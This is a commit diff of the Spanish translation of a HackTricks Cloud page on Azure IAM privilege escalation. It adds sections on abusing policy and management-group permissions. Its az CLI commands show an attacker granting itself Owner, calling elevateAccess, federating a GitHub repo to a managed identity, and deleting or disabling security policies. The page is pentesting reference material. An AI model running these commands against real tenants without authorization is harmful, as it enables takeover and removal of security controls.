mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+98
-8
@@ -1,10 +1,10 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
# Az - Azure IAM Privesc (Autorización)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,14 +12,14 @@ Para más información, consulta:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Este permiso permite asignar roles a principales sobre un alcance específico, lo que permite a un atacante escalar privilegios al asignarse un rol más privilegiado:
|
||||
Este permiso permite asignar roles a principals sobre un scope específico, lo que permite a un atacante escalar privilegios asignándose a sí mismo un rol más privilegiado:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que ha asignado.
|
||||
Este permiso permite modificar los permisos otorgados por un role, permitiendo a un atacante escalar privilegios al conceder más permisos a un role que él mismo ha asignado.
|
||||
|
||||
Crea el archivo `role.json` con el siguiente **contenido**:
|
||||
```json
|
||||
@@ -42,10 +42,10 @@ az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure.
|
||||
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre recursos de Azure. Está pensado para otorgarse a Entra ID Global Administrators para que también puedan gestionar permisos sobre recursos de Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione.
|
||||
> Creo que el usuario necesita ser Global Administrator en Entra ID para que la llamada elevate funcione.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, otorgar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite **acceder a cualquier identidad administrada definida por el usuario**.
|
||||
Este permiso permite añadir Federated credentials a managed identities. Por ejemplo, dar acceso a Github Actions en un repo a una managed identity. Además, permite **acceder a cualquier managed identity definida por el usuario**.
|
||||
|
||||
Ejemplo de comando para otorgar acceso a un repositorio en Github a una identidad administrada:
|
||||
Comando de ejemplo para dar acceso a un repo en Github a una managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Un atacante con el permiso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` sobre un management group, subscription, o resource group puede **modificar o eliminar asignaciones de políticas de Azure**, potencialmente **deshabilitando restricciones de seguridad** que bloquean operaciones específicas.
|
||||
|
||||
Esto permite el acceso a recursos o funcionalidades que previamente estaban protegidos por la política.
|
||||
|
||||
**Eliminar una asignación de política:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Deshabilitar una asignación de directiva:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Verifica los cambios:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Un atacante con el permiso `Microsoft.Authorization/policyDefinitions/write` puede **modificar Azure policy definitions**, cambiando las reglas que controlan las restricciones de seguridad en todo el entorno.
|
||||
|
||||
Por ejemplo, una policy que limita las regiones permitidas para crear recursos puede modificarse para permitir cualquier región, o el efecto de la policy puede cambiarse para hacerla inefectiva.
|
||||
|
||||
**Modificar una policy definition:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Verifica los cambios:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Un atacante con el permiso `Microsoft.Management/managementGroups/write` puede **modificar la estructura jerárquica de management groups** o **crear nuevos management groups**, potencialmente eludiendo políticas restrictivas aplicadas en niveles superiores.
|
||||
|
||||
Por ejemplo, un atacante puede crear un nuevo management group sin políticas restrictivas y luego mover subscriptions a este.
|
||||
|
||||
**Crear un nuevo management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Modificar la jerarquía de grupos de administración:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Verifica los cambios:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Un atacante con el permiso `Microsoft.Management/managementGroups/subscriptions/write` puede **mover suscripciones entre grupos de administración**, potencialmente **eludir políticas restrictivas** moviendo una suscripción a un grupo con políticas menos restrictivas o sin políticas.
|
||||
|
||||
**Mover una suscripción a un grupo de administración diferente:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Verificar los cambios:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user